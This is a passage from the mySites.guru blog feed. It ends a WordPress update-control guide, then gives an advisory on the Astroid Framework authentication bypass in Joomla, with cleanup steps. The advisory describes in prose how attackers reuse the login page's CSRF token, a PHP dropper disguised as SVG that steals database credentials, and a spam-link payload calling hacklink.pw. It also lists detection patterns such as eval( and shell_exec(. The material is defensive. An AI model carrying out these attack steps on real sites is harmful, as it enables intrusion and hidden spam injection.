remove_action(&apos;admin_init&apos;, &apos;_maybe_update_themes&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is more aggressive than the filters above - it prevents WordPress from contacting the update servers at all, so you won&apos;t see available updates in the dashboard until you manually trigger a check. Use this only if you have another system (like mySites.guru) monitoring update availability for you.&lt;/p&gt;
&lt;h2&gt;The Middle Ground: Minor-Only Auto-Updates&lt;/h2&gt;
&lt;p&gt;Disabling all automatic updates is one extreme. The other extreme is leaving everything on auto-pilot. There&apos;s a middle ground that works better for most professional setups.&lt;/p&gt;
&lt;p&gt;WordPress has a separate constant called &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; that lets you allow only minor (security/patch) updates while blocking major version upgrades. We&apos;ve written a &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;detailed guide to enforcing minor-only WordPress updates&lt;/a&gt; that covers the constant, how it interacts with &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;, and how mySites.guru manages both.&lt;/p&gt;
&lt;p&gt;Setting it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; means WordPress will still auto-apply security patches (like 6.4.1 to 6.4.2) but won&apos;t jump from 6.4 to 6.5 without your involvement. This matters with &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 &quot;Armstrong&quot;&lt;/a&gt; now out (released 20 May 2026), which raises the PHP minimum to 7.4 and MySQL minimum to 8.0 - you don&apos;t want sites auto-updating to a version their server can&apos;t run. Use our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements checker&lt;/a&gt; to see which sites are ready.&lt;/p&gt;
&lt;p&gt;You can use both constants together for fine-grained control:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable the full auto-updater&lt;/strong&gt; to stop WordPress from updating plugins and themes automatically&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable minor-only core updates&lt;/strong&gt; to still receive security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This gives you the safety net of security patches without the risk of untested major upgrades breaking your sites.&lt;/p&gt;
&lt;h2&gt;Managing Updates Deliberately&lt;/h2&gt;
&lt;p&gt;Disabling automatic updates isn&apos;t the same as ignoring updates. You still need to keep WordPress, plugins, and themes current; you&apos;re just choosing to do it on your terms.&lt;/p&gt;
&lt;p&gt;With mySites.guru, you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See available updates across all connected sites in one place&lt;/li&gt;
&lt;li&gt;Spot which sites are behind on core, plugin, or theme versions&lt;/li&gt;
&lt;li&gt;Apply updates when you&apos;re ready, not when WordPress decides to&lt;/li&gt;
&lt;li&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt; when a plugin has a known security issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keeping plugins up to date also reduces your attack surface. Outdated plugins are the number one way WordPress sites get compromised, and mySites.guru&apos;s vulnerability scanner cross-references your installed versions against threat databases twice a day. When you&apos;re ready to push updates across your portfolio, the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress tool&lt;/a&gt; lets you apply them to many sites at once without logging into each one.&lt;/p&gt;
&lt;p&gt;The workflow shifts from &quot;hope nothing breaks overnight&quot; to &quot;review what&apos;s available, test if needed, apply when ready.&quot;&lt;/p&gt;
&lt;h2&gt;How do you prevent unwanted WordPress plugin installs?&lt;/h2&gt;
&lt;p&gt;Controlling updates is half the equation. The other half is making sure nobody installs untested plugins on your managed sites in the first place.&lt;/p&gt;
&lt;p&gt;If you give clients wp-admin access, there&apos;s nothing stopping them from installing a random plugin that conflicts with your carefully maintained stack. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;detect and block unauthorized plugin installs&lt;/a&gt; so you stay in control of what runs on each site. You should also &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;remove default content like the Sample Page and Hello World post&lt;/a&gt; that ships with every WordPress install - it&apos;s another cleanup step the configuration audit handles automatically.&lt;/p&gt;
&lt;h2&gt;Who should disable WordPress automatic updates?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients or run sites where reliability matters, you need control over when updates happen. Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agencies&lt;/strong&gt; managing client portfolios - a broken client site at 2am is a support ticket and a reputation hit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WooCommerce stores&lt;/strong&gt; - a plugin conflict during checkout means lost revenue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membership sites&lt;/strong&gt; - downtime means paying members can&apos;t access content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High-traffic sites&lt;/strong&gt; - updates during peak hours cause unnecessary load&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For personal blogs with no revenue impact, automatic updates are probably fine. For everything else, take control. If you&apos;re juggling more than a handful of sites, read our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt; for a broader look at the tools and workflows that make this manageable.&lt;/p&gt;
&lt;h2&gt;What about the Joomla equivalent?&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites alongside WordPress, Joomla 5.4+ and 6.0 introduced a similar feature: &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades that apply patches without admin action&lt;/a&gt;. mySites.guru lets you disable those from the same dashboard, so you have consistent update control across both CMS platforms.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;How to Disable All Automatic Updates&lt;/a&gt; - Jeff Starr&apos;s comprehensive guide covering constants, filter hooks, and granular core update controls.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Upgrading WordPress -- Automatic Background Updates&lt;/a&gt; - Official WordPress documentation on how background updates work and how to configure them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants&lt;/a&gt; - Full reference for every constant you can set in wp-config.php, including update-related ones.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; - Developer documentation for the class that handles all automatic background updates in WordPress core.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For the complete auto-update strategy, see our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>auto-updates</category><category>site management</category><enclosure url="https://mysites.guru/_astro/stop-automatic-updates-wordpress.iP36Nqa7.png" length="0" type="image/png"/></item><item><title>Astroid Framework Vulnerability - What Happened and How to Check Your Joomla Site</title><link>https://mysites.guru/blog/astroid-framework-security-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/astroid-framework-security-vulnerability/</guid><description>CVE-2026-21628 (CVSS 10.0) - Astroid Framework for Joomla had a critical auth bypass letting attackers upload backdoors. What happened and what to do.</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; for Joomla has a critical authentication bypass vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0) that attackers are actively exploiting. They&apos;re using it to install backdoor plugins and inject hidden SEO spam links into affected sites.&lt;/p&gt;
&lt;p&gt;If your Joomla site runs the Astroid Framework, check it now. If you already know your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip to our recovery guide.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-21628&lt;/strong&gt; - CVSS 10.0 critical auth bypass in every Astroid Framework version before 3.3.11&lt;/li&gt;
&lt;li&gt;Attackers grab a CSRF token from the public login page and use it to upload backdoors and install SEO spam plugins - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid 3.3.13&lt;/a&gt;&lt;/strong&gt; immediately (3.3.11 had regressions, 3.3.12 fixed those, 3.3.13 adds further bug fixes and dependency updates)&lt;/li&gt;
&lt;li&gt;Check your plugin manager for &lt;strong&gt;BLPayload&lt;/strong&gt; / &lt;strong&gt;BL Payload&lt;/strong&gt; plugins and delete any &lt;code&gt;plg_jcp_*.html&lt;/code&gt; files in &lt;code&gt;/administrator/cache/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won&apos;t help - the backdoors stay. &lt;a href=&quot;#what-do-you-need-to-do-right-now&quot;&gt;Full cleanup steps below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;This post relates to the wave of Astroid Framework attacks in late February and early March 2026. The vulnerability (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0 Critical) was publicly reported on 4 March 2026 and patched in version 3.3.11 on 5 March 2026. If you haven&apos;t updated since then, your site is at risk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What happened?&lt;/h2&gt;
&lt;p&gt;The vulnerability was in &lt;code&gt;library/astroid/Admin.php&lt;/code&gt;, the file that handles all AJAX requests for the Astroid Framework&apos;s admin interface.&lt;/p&gt;
&lt;p&gt;The code used Joomla&apos;s &lt;code&gt;checkToken()&lt;/code&gt; function to verify CSRF tokens, but it never checked whether the person sending the request was actually logged in as an administrator. The CSRF token from the public &lt;code&gt;/administrator&lt;/code&gt; login page was enough to authenticate any request.&lt;/p&gt;
&lt;p&gt;That meant an attacker could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit the Joomla admin login page and grab the CSRF token from the HTML&lt;/li&gt;
&lt;li&gt;Send requests to the Astroid AJAX endpoint using that token&lt;/li&gt;
&lt;li&gt;Upload files, rename them, and install extensions, all without ever logging in&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The fix in version 3.3.11 added a &lt;code&gt;checkAdminAuth()&lt;/code&gt; method that verifies the user has &lt;code&gt;core.manage&lt;/code&gt; permission for &lt;code&gt;com_templates&lt;/code&gt; before processing any request. Basic authorization checking that should have been there from the start.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Every version of Astroid before 3.3.11 is vulnerable&lt;/strong&gt;, including all versions from the original JoomDev era. Sites running Joomla 5 and Joomla 6 are both affected - reports from the &lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum&lt;/a&gt; and the &lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum&lt;/a&gt; confirm compromised Joomla 6.0.3 and Joomla 5.4.3 installations respectively.&lt;/p&gt;
&lt;h2&gt;What are the attackers installing?&lt;/h2&gt;
&lt;p&gt;The attack is a two-stage process: a dropper, then a payload.&lt;/p&gt;
&lt;h3&gt;Stage 1: the dropper&lt;/h3&gt;
&lt;p&gt;The attacker uploads a PHP file disguised as an SVG image through the Astroid AJAX endpoint. The file looks harmless to basic file type checks because it ends with valid SVG markup, but the PHP code runs first.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Inside the dropper is a base64-encoded ZIP archive containing the actual payload plugin. The dropper accepts URL parameters that control the installation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?go&lt;/code&gt; extracts the ZIP to &lt;code&gt;/plugins/system/blpayload/&lt;/code&gt;, reads your Joomla &lt;code&gt;configuration.php&lt;/code&gt; to grab the database credentials, then writes directly to the &lt;code&gt;extensions&lt;/code&gt; table. It registers itself as enabled with ordering 9999 (highest priority) so it runs before everything else.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?check&lt;/code&gt; confirms the payload was successfully installed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?del&lt;/code&gt; deletes the dropper itself to cover the attacker&apos;s tracks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The dropper also cleans up after an earlier variant called &lt;code&gt;jcachepro&lt;/code&gt;, deleting it from both the database and filesystem. This tells us the attack has evolved through at least two generations. Reports from the Swiss Joomla forum confirm both &lt;code&gt;jcachepro&lt;/code&gt; and &lt;code&gt;blpayload&lt;/code&gt; have been found side by side on compromised sites, so don&apos;t assume the dropper always cleans up after itself.&lt;/p&gt;
&lt;p&gt;We&apos;ve also seen dropper files with randomized filenames like &lt;code&gt;blp_9948.php&lt;/code&gt;, &lt;code&gt;blr_6661.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_[random].php&lt;/code&gt; dropped into the &lt;code&gt;/images/&lt;/code&gt; directory. The &lt;code&gt;astroid_poc&lt;/code&gt; variant was first spotted on February 24, a full week before the mass exploitation wave began on March 1. Check your media folders, not just the plugin directories.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s suspect content scanner flags the &lt;code&gt;install.php&lt;/code&gt; file with 11 pattern matches, including the SQL query that force-enables the plugin at priority 9999:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For help interpreting results like these, see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;which flags are confirmed hacks and which just need a look&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Stage 2: the payload plugins&lt;/h3&gt;
&lt;p&gt;Once the dropper runs, you end up with malicious system plugins installed in Joomla:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ve seen them registered as &lt;strong&gt;System - BLPayload&lt;/strong&gt; (v7.0.0) and &lt;strong&gt;System - BL Payload&lt;/strong&gt; (v1.0.6). Both run at priority 9999 and execute on every single page load.&lt;/p&gt;
&lt;h3&gt;What the payload does&lt;/h3&gt;
&lt;p&gt;On every frontend request, the plugin contacts &lt;code&gt;hacklink.pw&lt;/code&gt;, a black-market SEO platform. It fetches a list of hidden spam links -- gambling, phishing, crypto scam sites -- and injects them into your page HTML. The links are hidden from visitors using CSS positioning (&lt;code&gt;left:-9999px; visibility:hidden&lt;/code&gt;) but fully visible to search engine crawlers.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s suspect content scanner flags the &lt;code&gt;blpayload.php&lt;/code&gt; file itself, showing the API call to &lt;code&gt;hacklink.pw&lt;/code&gt;, the cache file generation, and even an &lt;code&gt;$aggressiveness&lt;/code&gt; setting the attacker can control remotely:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The plugin caches its output locally as HTML files in &lt;code&gt;/administrator/cache/&lt;/code&gt; with filenames like &lt;code&gt;plg_jcp_aa6cb959d0c3810149132dc8485b0016.html&lt;/code&gt;. These cache files keep serving spam even when the external server goes down.&lt;/p&gt;
&lt;p&gt;The attackers are riding on your domain&apos;s reputation to boost their own sites in search results.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru detect this?&lt;/h2&gt;
&lt;p&gt;mySites.guru catches this from two angles: the vulnerable framework file itself and the payloads left behind by attackers.&lt;/p&gt;
&lt;h3&gt;Vulnerable framework files&lt;/h3&gt;
&lt;p&gt;Our audit system matches the md5 hash of &lt;code&gt;library/astroid/Admin.php&lt;/code&gt; against known vulnerable versions. If your site has an old, unpatched copy of this file, mySites.guru flags it as a confirmed hacked file. No false positives -- each hash was verified against the vulnerable source code.&lt;/p&gt;
&lt;h3&gt;Malicious payload plugins and cache files&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; picks up the BLPayload plugin files and the &lt;code&gt;plg_jcp_*.html&lt;/code&gt; cache files in &lt;code&gt;/administrator/cache/&lt;/code&gt;. Here&apos;s what a compromised site looks like after an audit -- the &lt;code&gt;install.php&lt;/code&gt; dropper, dozens of &lt;code&gt;plg_blpayload_*&lt;/code&gt; and &lt;code&gt;plg_jcp_*&lt;/code&gt; cache files, all flagged as &quot;Hacked File&quot;:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Not sure what you&apos;re looking at in a flagged file? Our &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can review it with one click and tell you exactly what it does.&lt;/p&gt;
&lt;h2&gt;Which of your sites are affected?&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, this is where things get stressful. You need to know which sites have the Astroid Framework installed, and you need to know right now, not after logging into each one individually.&lt;/p&gt;
&lt;p&gt;This is exactly the kind of situation mySites.guru was built for. Every extension on every connected site is indexed and searchable. One URL gives you the full list:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/5387fe79896108bb1da21df6008e1f4c&quot;&gt;View all your sites with Astroid Framework installed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That page shows every site in your account running this framework, with the version number, so you can see at a glance which ones still need updating. No logging into 50 admin panels. No spreadsheets. No guessing which client sites might be using an Astroid-based template. You can also use the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt; to see every site&apos;s active template at a glance and export the full list as CSV.&lt;/p&gt;
&lt;p&gt;When a vulnerability like this drops, knowing which sites are affected in 10 seconds means you can patch before the attackers get there - not after they already have.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h2&gt;What do you need to do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update the Astroid Framework to 3.3.13&lt;/h3&gt;
&lt;p&gt;Download it from the &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;official release page&lt;/a&gt; and install it through your Joomla extension manager. This closes the vulnerability and includes all bug fixes since the initial patch. If you manage multiple sites, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update to all of them at once&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Quick version history since the patch: 3.3.11 (5 March) fixed the vulnerability but had video background and mega menu width regressions. 3.3.12 (6 March) fixed those regressions. &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;3.3.13&lt;/a&gt; (15 March) fixes GSAP plugin loading errors, improves touch device navigation and mega menu behavior, adds section/column height controls and a stagger animation toggle, and updates Font Awesome to 7.2.0, LenisJS to 1.3.18, and Fancybox to 6.1. No additional security changes - 3.3.11 already has the full CVE-2026-21628 fix.&lt;/p&gt;
&lt;h3&gt;2. Check for installed payload plugins&lt;/h3&gt;
&lt;p&gt;Open your Joomla plugin manager and search for &quot;BLPayload&quot; or &quot;BL Payload&quot;. If you find either one, your site was compromised. Uninstall them immediately. With mySites.guru you can &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;search installed extensions across all your sites&lt;/a&gt; to find every instance in seconds.&lt;/p&gt;
&lt;h3&gt;3. Clear the administrator cache&lt;/h3&gt;
&lt;p&gt;Look in &lt;code&gt;/administrator/cache/&lt;/code&gt; for any files matching &lt;code&gt;plg_jcp_*.html&lt;/code&gt; or &lt;code&gt;plg_blpayload_*.html&lt;/code&gt;. Delete them.&lt;/p&gt;
&lt;h3&gt;4. Run a full security audit&lt;/h3&gt;
&lt;p&gt;If you have a &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; account, run an audit now. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; will scan every file in your webspace and flag anything suspicious.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have an account, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your site. The audit runs automatically.&lt;/p&gt;
&lt;h3&gt;5. Check for additional backdoors&lt;/h3&gt;
&lt;p&gt;Attackers who got in through this vulnerability may have installed more than just the BLPayload plugin. Look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The earlier variant &lt;code&gt;jcachepro&lt;/code&gt; in &lt;code&gt;/plugins/system/jcachepro/&lt;/code&gt; (the current dropper tries to clean this up, but it may still be present)&lt;/li&gt;
&lt;li&gt;SVG files in &lt;code&gt;/administrator/&lt;/code&gt; or media folders that contain PHP code (the droppers disguise themselves as SVG images)&lt;/li&gt;
&lt;li&gt;PHP files in &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, or &lt;code&gt;/logs/&lt;/code&gt; where they don&apos;t belong - look specifically for &lt;code&gt;blp_*.php&lt;/code&gt;, &lt;code&gt;blr_*.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_*.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Unfamiliar admin user accounts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Other unknown plugins, especially system plugins&lt;/li&gt;
&lt;li&gt;Files containing &lt;code&gt;eval(&lt;/code&gt;, &lt;code&gt;base64_decode(&lt;/code&gt;, &lt;code&gt;shell_exec(&lt;/code&gt;, or &lt;code&gt;system(&lt;/code&gt; calls&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file change monitoring&lt;/a&gt; will alert you in real time if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Change all passwords&lt;/h3&gt;
&lt;p&gt;Change your Joomla admin password, database password, FTP credentials, and hosting panel login. If attackers had admin-level access, assume they saw everything.&lt;/p&gt;
&lt;h3&gt;7. Check Google Search Console&lt;/h3&gt;
&lt;p&gt;The hidden link injection may have already affected your search rankings. Check Google Search Console for manual actions or unusual coverage changes. If spam backlinks are indexed, use Google&apos;s Disavow Tool.&lt;/p&gt;
&lt;h2&gt;What are the technical details?&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt; with a CVSS 4.0 score of &lt;strong&gt;10.0 Critical&lt;/strong&gt; and classified under &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt; (Unrestricted Upload of File with Dangerous Type). The full vector string: &lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y&lt;/code&gt; - network-exploitable, no privileges required, no user interaction needed, with high impact across confidentiality, integrity, and availability.&lt;/p&gt;
&lt;p&gt;The Astroid Framework&apos;s &lt;code&gt;Admin.php&lt;/code&gt; handled all AJAX operations for template management through protected methods like &lt;code&gt;save()&lt;/code&gt;, &lt;code&gt;media()&lt;/code&gt;, &lt;code&gt;getLayouts()&lt;/code&gt;, &lt;code&gt;search()&lt;/code&gt;, &lt;code&gt;clearCache()&lt;/code&gt;, and &lt;code&gt;installTemplate()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each of these methods checked for a valid CSRF token with &lt;code&gt;Session::checkToken()&lt;/code&gt;, but none of them verified that the requesting user was an authenticated administrator with appropriate permissions. The CSRF token is meant to prevent cross-site request forgery from authenticated sessions. It was never designed to be the only authentication check.&lt;/p&gt;
&lt;p&gt;The token from the login form is embedded in the page HTML and accessible to anyone who can view the page. Using it as the sole authentication mechanism is like checking that someone has a key to the building&apos;s front door but never asking if they&apos;re actually an employee.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;fix&lt;/a&gt; adds a single authorization check before each sensitive operation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$user = Factory::getApplication()-&amp;gt;getIdentity();
if (!$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)) {
    throw new \Exception(&apos;You are not authorized to access this page.&apos;, 403);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard Joomla ACL. It should have been there all along.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; The same problem keeps showing up. &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core, alongside the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework (CVE-2026-21627)&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 (CVE-2026-3098)&lt;/a&gt; disclosures earlier this month. That&apos;s four AJAX authorization failures in March 2026 alone, across plugins and core. If you build Joomla extensions, audit your &lt;code&gt;com_ajax&lt;/code&gt; handlers now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (April 7, 2026):&lt;/strong&gt; And it happened again, this time on WordPress. &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt; disclosed on April 6: CVSS 9.8 unauthenticated arbitrary file upload in an &lt;code&gt;admin-ajax.php&lt;/code&gt; handler, around 50,000 affected sites. The vendor even shipped a first patch that did not actually fix it - only 3.3.27 closes the hole. Same pattern as Astroid, different platform.&lt;/p&gt;
&lt;h2&gt;Want someone to clean it up for you?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets cleaned, upgraded, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5) follows the same pattern: a shared Joomla framework plugin with unauthenticated AJAX endpoints, affecting 8,297 sites across our dataset&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read&lt;/a&gt; - CVE-2026-3098 on WordPress, same root cause: AJAX nonce without capability check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - CVSS 9.8 unauthenticated RCE in a WordPress plugin &lt;code&gt;admin-ajax.php&lt;/code&gt; handler affecting around 50,000 sites, with a failed first patch that only shipped the real fix in 3.3.27&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all disclosed vulnerabilities in the same month, showing how widespread the problem is across the WordPress ecosystem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 / 6.0.4 release&lt;/a&gt; - Joomla core itself needed &lt;code&gt;com_ajax&lt;/code&gt; ACL hardening, same class of bug&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Editor Broken in Firefox 148&lt;/a&gt; - Another recent Joomla incident where the Mass Upgrade tool let agencies push a fix to every site at once&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
